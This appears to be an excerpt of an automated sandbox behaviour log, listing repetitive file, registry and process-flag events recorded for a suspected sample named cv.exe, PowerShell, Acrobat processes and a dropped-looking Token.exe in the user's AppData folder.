Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\cv.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\cv.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\AllData\egsflr\Token.exe	Process information set: NOOPENFILEERRORBOX
